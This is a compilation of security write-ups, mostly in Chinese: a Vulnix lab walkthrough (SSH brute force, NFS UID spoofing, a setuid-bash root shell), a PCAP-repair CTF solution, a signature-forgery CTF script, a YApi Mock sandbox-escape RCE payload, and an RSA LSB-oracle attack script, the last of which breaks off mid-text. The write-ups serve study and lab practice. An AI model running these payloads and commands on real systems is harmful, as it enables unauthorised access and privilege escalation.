| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
995/tcp open ssl/pop3s?
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_ssl-date: 2022-05-30T01:58:33+00:00; +2s from scanner time.
2049/tcp open nfs_acl 2-3 (RPC #100227)
34690/tcp open mountd 1-3 (RPC #100005)
37627/tcp open nlockmgr 1-4 (RPC #100021)
45632/tcp open status 1 (RPC #100024)
55719/tcp open mountd 1-3 (RPC #100005)
60479/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:78:E8:C4 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
TRACEROUTE
HOP RTT ADDRESS
1 0.85 ms 192.168.32.143
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.55 seconds
```
#### SSH服务
```
┌──(root💀kali)-[~]
└─# searchsploit openssh 5
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Dropbear / OpenSSH Server - 'MAX_UNAUTH_CLIENTS' Denial of Service | multiple/dos/1572.pl
FreeBSD OpenSSH 3.5p1 - Remote Command Execution | freebsd/remote/17462.txt
glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read | linux/local/258.sh
Novell Netware 6.5 - OpenSSH Remote Stack Overflow | novell/dos/14866.txt
OpenSSH 1.2 - '.scp' File Create/Overwrite | linux/remote/20253.sh
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | unix/remote/21579.txt
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH < 6.6 SFTP (x64) - Command Execution | linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution | linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSH SCP Client - Write Arbitrary Files | multiple/remote/46516.py
OpenSSH/PAM 3.6.1p1 - Remote Users Discovery Tool | linux/remote/25.c
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```
#### Finger服务
> Finger 命令用于 Linux 和类 Unix 系统中,用于从终端检查任何当前登录用户的信息。它是一个命令行实用程序,可以为用户提供登录时间、tty(名称)、空闲时间、主目录、shell 名称等。
枚举系统用户
```
msf6 > use auxiliary/scanner/finger/finger_users
msf6 auxiliary(scanner/finger/finger_users) > show options
Module options (auxiliary/scanner/finger/finger_users):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 79 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERS_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes The file that contains a list of default UNIX accounts.
msf6 auxiliary(scanner/finger/finger_users) > set rhosts 192.168.32.143
rhosts => 192.168.32.143
msf6 auxiliary(scanner/finger/finger_users) > set threads 100
threads => 100
msf6 auxiliary(scanner/finger/finger_users) > run
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: backup
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: bin
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: daemon
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: games
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: gnats
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: irc
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: landscape
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: libuuid
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: list
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: lp
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: mail
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: dovecot
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: man
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: messagebus
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: news
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: nobody
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: postfix
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: proxy
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: root
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: sshd
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: sync
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: sys
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: syslog
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: user
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: dovenull
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: uucp
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: whoopsie
[+] 192.168.32.143:79 - 192.168.32.143:79 - Found user: www-data
[+] 192.168.32.143:79 - 192.168.32.143:79 Users found: backup, bin, daemon, dovecot, dovenull, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, proxy, root, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data
[*] 192.168.32.143:79 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

#### **NFS**服务
可以发现有`/home/vulnix`挂载出来
```
┌──(root💀kali)-[~]
└─# showmount -e 192.168.32.143
Export list for 192.168.32.143:
/home/vulnix *
```
本地挂载`/home/vulnix`文件夹
```
┌──(root💀kali)-[~]
└─# mount -t nfs 192.168.32.143:/home/vulnix /data/vulnix
┌──(root💀kali)-[~]
└─# ls -al /data/vulnix
ls: cannot open directory '/data/vulnix': Permission denied
┌──(root💀kali)-[~]
└─# ls -al /data/ 2 ⨯
total 48
drwxr-xr-x 3 root root 4096 May 29 22:16 .
drwxr-xr-x 20 root root 36864 May 29 22:16 ..
drwxr-x--- 2 nobody 4294967294 4096 Sep 2 2012 vulnix
```
无法访问挂载的共享,可能是因为[设置了 root_squash 标志](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html/Security_Guide/sect-Security_Guide-Securing_NFS-Do_Not_Use_the_no_root_squash_Option.html)。我们可以放心地假设,如果我们有一个名为 vulnix 且具有相同 UID 的用户,我们将能够访问它。但我们稍后再谈。
### 获取权限
#### SSH服务爆破
创建用户文件
```
user
vulnix
root
```
然后使用字典列表rockyou.txt破解密码:
```
root@kali:~/vulnhub/vulnix# medusa -h 192.168.32.143 -U user.txt -P /usr/share/wordlists/rockyou.txt -e ns -f -M ssh -t 64
```
终于破解了用户user的密码,即`letmein`。
```
┌──(root💀kali)-[/tmp]
└─# ssh user@192.168.32.143
The authenticity of host '192.168.32.143 (192.168.32.143)' can't be established.
ECDSA key fingerprint is SHA256:IGOuLMZRTuUvY58a8TN+ef/1zyRCAHk0qYP4wMViOAg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.32.143' (ECDSA) to the list of known hosts.
user@192.168.32.143's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon May 30 04:28:36 BST 2022
System load: 0.0 Processes: 89
Usage of /: 90.3% of 773MB Users logged in: 0
Memory usage: 7% IP address for eth0: 192.168.32.143
Swap usage: 0%
=> / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
user@vulnix:~$
```
检查受害服务器上的/etc/passwd文件,发现用户vulnix具有UID 2008,因此在本地计算机上创建了一个名为vulnix的用户,UID为2008,然后尝试再次访问该分区:

使用新创建的vulnix用户(具有UID 2008权限)成功进入已经挂载的/mnt/vulnix文件夹
```
┌──(root💀kali)-[~]
└─# useradd -u 2008 vulnix
┌──(root💀kali)-[~]
└─# su vulnix
$ cd /data/vulnix
$ ls -al
total 20
drwxr-x--- 2 vulnix vulnix 4096 Sep 2 2012 .
drwxr-xr-x 3 root root 4096 May 29 22:16 ..
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
```
生成一个SSH密钥,以vulnix用户身份登录而不需要密码:
```
┌──(root💀kali)-[~]
└─# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:N6J9EV4I5eAiJwrnp4HeSEXnh4jXL3ayejUzBPkdGgo root@kali
The key's randomart image is:
+---[RSA 3072]----+
| . .. o.. |
| oE=o.o = . |
|...+++*.= = . |
| =o. =o= o o |
|..+ .+.oS = |
|o o+. =B o o |
| o.. .o = . |
| .. . |
| .. |
+----[SHA256]-----+
┌──(root💀kali)-[~]
└─# cp /root/.ssh/id_rsa.pub /tmp/authorized_keys
┌──(root💀kali)-[~]
└─# chmod 777 /tmp/authorized_keys
```
NFS股灾文件夹放入公钥
```
$ mkdir .ssh
$ cd .ssh
$ cp /tmp/authorized_keys .
$ ls
authorized_keys
```
使用公钥进行登录
```
┌──(root💀kali)-[~]
└─# ssh vulnix@192.168.32.143 -i id_rsa
Warning: Identity file id_rsa not accessible: No such file or directory.
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Mon May 30 05:49:42 BST 2022
System load: 0.0 Processes: 92
Usage of /: 90.3% of 773MB Users logged in: 1
Memory usage: 9% IP address for eth0: 192.168.32.143
Swap usage: 0%
=> / is using 90.3% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
Your Ubuntu release is not supported anymore.
For upgrade information, please visit:
http://www.ubuntu.com/releaseendoflife
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
vulnix@vulnix:~$
```
### 提权
```
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User vulnix may run the following commands on this host:
(root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```
可以运行命令来打开/etc/exports,不用输入密码。这是发现的:

用no_root_squash替换了root_squash flag。需要作弊,因为没有vulnix的密码,而且没有sudo用户执行命令/usr/sbin/exportfs -a或计算机重新引导,就无法再次导出NFS分区,所以手动重新引导
- root_squash: 客户端的root用户映射到任何人:客户端无法使用setuid位将恶意软件留给他人执行。
- no_root_squash:通过此选项,停用了此安全功能,从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中(因此,在其余客户端中)。
在受害者的机器上,如"vulnix":
```
vulnix@vulnix:~$ cp /bin/bash local_shell
vulnix@vulnix:~$ ls
local_shell
```
在本地计算机上,以`root`身份:
```
root@kali:/mnt/vulnix# cat local_shell > spawn_root_shell
root@kali:/mnt/vulnix# ls
local_shell spawn_root_shell
root@kali:/mnt/vulnix# chmod 4777 *
root@kali:/mnt/vulnix# ls -la
总用量 1828
drwxr-x--- 4 vulnix vulnix 4096 4月 16 02:33 .
drwxr-xr-x 3 root root 4096 4月 15 23:00 ..
-rw------- 1 vulnix vulnix 0 4月 16 02:27 .bash_history
-rw-r--r-- 1 vulnix vulnix 220 4月 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 4月 3 2012 .bashrc
drwx------ 2 vulnix vulnix 4096 4月 15 23:23 .cache
-rwsrwxrwx 1 vulnix vulnix 920788 4月 16 02:24 local_shell
-rw-r--r-- 1 vulnix vulnix 675 4月 3 2012 .profile
-rwsrwxrwx 1 root root 920788 4月 16 02:33 spawn_root_shell
drwxr-xr-x 2 vulnix vulnix 4096 4月 15 23:21 .ssh
```
然后在受害人的机器上执行shell,并保留带有flag -p的原始文件的权限:
```
vulnix@vulnix:~$ ls -la
total 1828
drwxr-x--- 4 vulnix vulnix 4096 Apr 16 07:33 .
drwxr-xr-x 4 root root 4096 Sep 2 2012 ..
-rw------- 1 vulnix vulnix 0 Apr 16 07:27 .bash_history
-rw-r--r-- 1 vulnix vulnix 220 Apr 3 2012 .bash_logout
-rw-r--r-- 1 vulnix vulnix 3486 Apr 3 2012 .bashrc
drwx------ 2 vulnix vulnix 4096 Apr 16 04:23 .cache
-rwsrwxrwx 1 vulnix vulnix 920788 Apr 16 07:24 local_shell
-rw-r--r-- 1 vulnix vulnix 675 Apr 3 2012 .profile
-rwsrwxrwx 1 root root 920788 Apr 16 07:33 spawn_root_shell
drwxr-xr-x 2 vulnix vulnix 4096 Apr 16 04:21 .ssh
vulnix@vulnix:~$ ./spawn_root_shell -p
spawn_root_shell-4.2# id
uid=2008(vulnix) gid=2008(vulnix) euid=0(root) groups=0(root),2008(vulnix)
spawn_root_shell-4.2# whoami
root
spawn_root_shell-4.2# cd /root
spawn_root_shell-4.2# ls
trophy.txt
spawn_root_shell-4.2# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
```
|
sec-knowleage
|
### PCAP文件结构
一般来说,对于 `PCAP` 文件格式考察较少,且通常都能借助于现成的工具如 `pcapfix` 直接修复,这里大致介绍下几个常见的块,详细可以翻看[Here](http://www.tcpdump.org/pcap/pcap.html)。
- Tools
- [PcapFix Online](https://f00l.de/hacking/pcapfix.php)
- [PcapFix](https://github.com/Rup0rt/pcapfix/tree/devel)
一般文件结构
```shell
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Block Type |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Block Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
/ Block Body /
/ /* variable length, aligned to 32 bits */ /
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Block Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
目前所定义的常见块类型有
1. Section Header Block: it defines the most important characteristics of the capture file.
2. Interface Description Block: it defines the most important characteristics of the interface(s) used for capturing traffic.
3. Packet Block: it contains a single captured packet, or a portion of it.
4. Simple Packet Block: it contains a single captured packet, or a portion of it, with only a minimal set of information about it.
5. Name Resolution Block: it defines the mapping from numeric addresses present in the packet dump and the canonical name counterpart.
6. Capture Statistics Block: it defines how to store some statistical data (e.g. packet dropped, etc) which can be useful to undestand the conditions in which the capture has been made.
### PCAP 文件修复常见块
Section Header BlocK(文件头)
Interface Description Block(接口描述)
Packet Block(数据块)
### PCAP 文件修复中的Section Header BlocK(文件头)
必须存在,意味着文件的开始
```shell
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Byte-Order Magic (0x1A2B3C4D) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Major Version(主版本号) | Minor Version(次版本号) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| Section Length |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
/ /
/ Options (variable) /
/ /
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
### PCAP 文件修复中的Interface Description Block(接口描述)
必须存在,描述接口特性
```shell
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LinkType | Reserved |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SnapLen(每个数据包最大字节数) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
/ /
/ Options (variable) /
/ /
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
### PCAP 文件修复中的Packet Block(数据块)
```sh
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Interface ID | Drops Count |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Timestamp (High) 标准的Unix格式 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Timestamp (Low) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Captured Len |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Packet Len |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
/ Packet Data /
/ /* variable length, aligned to 32 bits */ /
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
/ Options (variable) /
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
### PCAP 文件修复例题
> 题目:第一届“百度杯”信息安全攻防总决赛 线上选拔赛:find the flag
>
> WP:https://www.cnblogs.com/ECJTUACM-873284962/p/9884447.html
首先我们拿到这样一道流量包的题目,题目名称为 `find the flag` 。这里面给了很多提示信息,要我们去找到 `flag` 。
**第一步,搜索 `flag` 字样**
我们先去搜索看看流量包里面有没有 `flag` 。我们使用 `strings` 命令去找一下流量包, `Windows` 的朋友可以用 `notepad++` 的搜索功能去寻找。
搜索命令如下:
```shell
strings findtheflag.cap | grep flag
```
我们发现搜出了一大堆的东西,我们通过管道去过滤出 `flag` 信息,似乎没有发现我们所需要找的答案。
**第二步,流量包修复**
我们用 `wireshark` 打开这个流量包发现这个流量包出现了异常现象,我们可以修复一下这个流量包。
这里我们用到一个在线工具:http://f00l.de/hacking/pcapfix.php
这个工具可以帮助我们快速地将其流量包修复为 `pcap` 包。
我们对其进行在线修复,修复完毕后点击 `Get your repaired PCAP-file here.` 即可下载流量包,然后我们用 `wireshark` 打开。
既然还是要找 `flag` ,我们可以先看看这个流量包。
**第三步,追踪TCP流**
我们通过追踪 `TCP` 流,可以看到一些版本信息, `cookie` 等等,我们还是发现了一些很有意思的东西。
从 `tcp.stream eq 29` 到 `tcp.stream eq 41` 只显示了 `where is the flag?` 这个字样,难道这是出题人在告诉我们 `flag` 在这里嘛?
**第四步,查找分组字节流**
我们追踪到 `tcp.stream eq 29` 的时候,在 `Identification` 信息中看到了 `flag` 中的 `lf` 字样,我们可以继续追踪下一个流,在 `tcp.stream eq 30` 的 `Identification` 信息中看到了 `flag` 中的 `ga` 字样,我们发现将两个包中 `Identification` 信息对应的字段从右至左组合,恰好就是 `flag` !于是我们可以大胆地猜测, `flag` 肯定是藏在这里面。
我们直接通过搜索->字符串搜索->分组字节流->搜索关键字 `flag` 即可,按照同样的方式连接后面相连数据包的 `Identification` 信息对应的字段,即可找到最终的flag!
所以最终的 `flag` 为:**flag{aha!_you_found_it!}**
|
sec-knowleage
|
## dub-key (crypto, 120p)
> My friend set up a small signing scheme, however she won't let me sign stuff. Can you get it signed?
>
> Find it at dub-key-t8xd5pn6.9447.plumbing port 9447
>
> [dub-key.py](dub-key.py)
###PL
[ENG](#eng-version)
Rozpoczeliśmy od analizy algorytmu podpisywania i jego własności
(w skrócie - podpisywanie polega na tym że zmieniamy wiadomość w graf, i podpis to
iloczyn długości wszystkich cykli w wiadomości). Niestety, nie udało nam się skończyć pisać pełnego ataku
przed końcem CTFa, ale w ostatnich godzinach zdecydowaliśmy się wykonać trywialny atak na algorytm podpisywania.
Otóż w tym zadaniu możemy podpisać dowolną wiadomość poza jedną - tą którą mamy podpisać żeby dostać flagę.
Zauważyliśmy, że jeśli zmienimy tylko jeden bajt w wiadomości i podpiszemy go, to jest spora szansa że podpis się nie zmieni
Oszacowaliśmy tą szansę jako pesymistycznie 1/(256*e), ale prawdopodobnie znacznie większą - i rzeczywiście, w praktyce już
po kilkudziesięciu sprawdzeniach udało się.
Pomysł sprowadza się do:
msg = odbierz_wiadomość_do_podpisania()
msg1 = msg[-1] + '\x00'
sig1 = podpisz(msg1)
wyślij_podpis(sig1)
Tak więc nasz cały kod atakujący wyglądał tak:
```python
import hashlib
import socket
import string
import itertools
import base64
def pow(init):
for c in itertools.product(string.lowercase, repeat=6):
dat = init + ''.join(c)
hash = hashlib.sha1(dat)
if hash.digest().endswith('\x00\x00\x00'):
return dat
def recv():
return s.recv(99999)
return r
def send(msg):
s.send(msg)
while True:
HOST, PORT = 'dub-key-t8xd5pn6.9447.plumbing', 9447
s = socket.socket()
s.connect((HOST, PORT))
inp = recv()
print inp
p = pow(inp)
send(p)
r = recv()
tosign = recv().split("\n")[0]
dat = base64.b64decode(tosign)
dat = dat[:-1] + '\x00'
send('1\n')
send(base64.b64encode(dat))
r = recv() # podpisane dane
t = recv() # sign something
send('2\n')
send(r)
print recv(), recv(), recv()
```
I, co zaskakujące, zadziałał za pierwszym razem.
Flaga:
9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}
### ENG version
We started with the analysis of the signature algorithm and its properties (in short - signing is done by changing the message into a graph and the signature is the number of all cycles in the message). Unfortunately, we didnt finish writing a full attack before the CTF ended, so in the last hours we decided to stick with a simple signature attack.
In this task we can sign any message apart from one - the one that gives us the flag. We noticed that if we change a single byte in the message and sign it, there is high chance that the signature will not change. We assumed that pessimistic probability is 1/(256*e), but apparently it's much higher - in practice we got it right after few dozens of attempts.
The idea is:
msg = receive_message()
msg1 = msg[-1] + '\x00'
sig1 = sign(msg1)
send_signature(sig1)
So the code of entire attack was:
```python
import hashlib
import socket
import string
import itertools
import base64
def pow(init):
for c in itertools.product(string.lowercase, repeat=6):
dat = init + ''.join(c)
hash = hashlib.sha1(dat)
if hash.digest().endswith('\x00\x00\x00'):
return dat
def recv():
return s.recv(99999)
return r
def send(msg):
s.send(msg)
while True:
HOST, PORT = 'dub-key-t8xd5pn6.9447.plumbing', 9447
s = socket.socket()
s.connect((HOST, PORT))
inp = recv()
print inp
p = pow(inp)
send(p)
r = recv()
tosign = recv().split("\n")[0]
dat = base64.b64decode(tosign)
dat = dat[:-1] + '\x00'
send('1\n')
send(base64.b64encode(dat))
r = recv() # signed data
t = recv() # sign something
send('2\n')
send(r)
print recv(), recv(), recv()
```
And it actually worked on first attempt.
Flag:
9447{Th1s_ta5k_WAs_a_B1T_0F_A_DaG}
|
sec-knowleage
|
# YApi开放注册导致RCE
[中文版本(Chinese version)](README.zh-cn.md)
YApi是一个API管理工具。如果注册功能开放,攻击者可以使用Mock功能执行任意代码。
参考链接:
- <https://paper.seebug.org/1639/>
- <https://www.freebuf.com/vuls/279967.html>
## 漏洞环境
执行如下命令启动一个YApi 1.9.2:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:3000`即可查看到YApi首页。
## 漏洞复现
首先,注册一个用户,并创建项目和接口:


接口中有一个Mock页面可以填写代码,我们填写包含恶意命令的代码:
```
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
```

然后,回到“预览”页面可以获得Mock的URL:

打开这个URL,即可查看到命令执行的结果:

|
sec-knowleage
|
# LSB Oracle (crypto 150)
###ENG
[PL](#pl-version)
The task was pretty much the same idea as https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit with the exception that in Plaid CTF we had Rabin cryptosystem and there it was RSA.
We get a [binary](lsb_oracle.vmp.exe.zip) which can give us RSA public key and also it can tell us LSB of decrypted ciphertext.
We also get an encrypted flag.
We approach it the same was as for Rabit on Plaid CTF - we can multiply plaintext by 2 if we multiply ciphertext by `pow(2,e,n)`.
This is because:
```
ct = pt^e mod n
ct' = ct * 2^e mod n = pt^e mod n * 2^e mod n = 2pt^e mod n
ct'^d = (2pt^e mod n)^d mod n = 2pt^ed mod n = 2pt mod n
```
LSB from oracle tells us if the plaintext is even or odd.
Modulus `n` is a product of 2 large primes, so it has to be odd.
`2*x` has to be even.
This means that if LSB of `2*x mod n` is 0 (number is still even) this number was smaller than modulus `n`.
Otherwise the number was bigger than modulus.
We can combine this using binary search approach to get upper and lower bounds of the flag in relation to `n`.
We used a python script for this (slighly more accurate than the one in Rabbit, which was messing up last character):
```python
from subprocess import Popen, PIPE
from Crypto.Util.number import long_to_bytes
def oracle(ciphertext):
print("sent ciphertext " + str(ciphertext))
p = Popen(['lsb_oracle.vmp.exe', '/decrypt'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
result = p.communicate(str(ciphertext) + "\n-1")
lsb = int(result[0][97])
print(lsb, result)
return lsb
def brute_flag(encrypted_flag, n, e, oracle_fun):
flag_count = n_count = 1
flag_lower_bound = 0
flag_upper_bound = n
ciphertext = encrypted_flag
mult = 1
while flag_upper_bound > flag_lower_bound + 1:
ciphertext = (ciphertext * pow(2, e, n)) % n
flag_count *= 2
n_count = n_count * 2 - 1
print("upper = %d" % flag_upper_bound)
print("upper flag = %s" % long_to_bytes(flag_upper_bound))
print("lower = %d" % flag_lower_bound)
print("lower flag = %s" % long_to_bytes(flag_lower_bound))
print("bit = %d" % mult)
mult += 1
if oracle_fun(ciphertext) == 0:
flag_upper_bound = n * n_count / flag_count
else:
flag_lower_bound = n * n_count / flag_count
n_count += 1
return flag_upper_bound
def main():
n = 120357855677795403326899325832599223460081551820351966764960386843755808156627131345464795713923271678835256422889567749230248389850643801263972231981347496433824450373318688699355320061986161918732508402417281836789242987168090513784426195519707785324458125521673657185406738054328228404365636320530340758959
ct = 2201077887205099886799419505257984908140690335465327695978150425602737431754769971309809434546937184700758848191008699273369652758836177602723960420562062515168299835193154932988833308912059796574355781073624762083196012981428684386588839182461902362533633141657081892129830969230482783192049720588548332813
print(long_to_bytes(brute_flag(ct, n, 65537, oracle)))
main()
```
And after a short while we got the flag: `SharifCTF{65d7551577a6a613c99c2b4023039b0a}`
Sadly the flag was at the very end of the plaintext to we had to wait for the whole 1024 bits.
###PL version
Zadanie jest generalnie bardzo podobne do https://github.com/p4-team/ctf/tree/master/2016-04-15-plaid-ctf/crypto_rabit z tą różnicą że na Plaid CTF szyfrowanie odbywało się algorytmem Rabina a tutaj było to RSA.
Dostajemy [binarke](lsb_oracle.vmp.exe.zip) która podaje nam klucz publiczny RSA i potrafi powiedzieć czy najniższy bit plaintextu jest 0 czy 1.
Dostajemy też zaszyfrowaną flagę.
Nasze podejście jest takie samo jak dla Rabit z Plaid CTF - możemy mnożyć plaintext przez 2 poprzez mnożenie ciphertextu przez `pow(2,e,n)`.
Wynika to z tego, że:
```
ct = pt^e mod n
ct' = ct * 2^e mod n = pt^e mod n * 2^e mod n = 2pt^e mod n
ct'^d = (2pt^e mod n)^d mod n = 2pt^ed mod n = 2pt mod n
```
Wyrocznia najniższego bitu mówi nam czy plaintext jest parzysty czy nieparzysty.
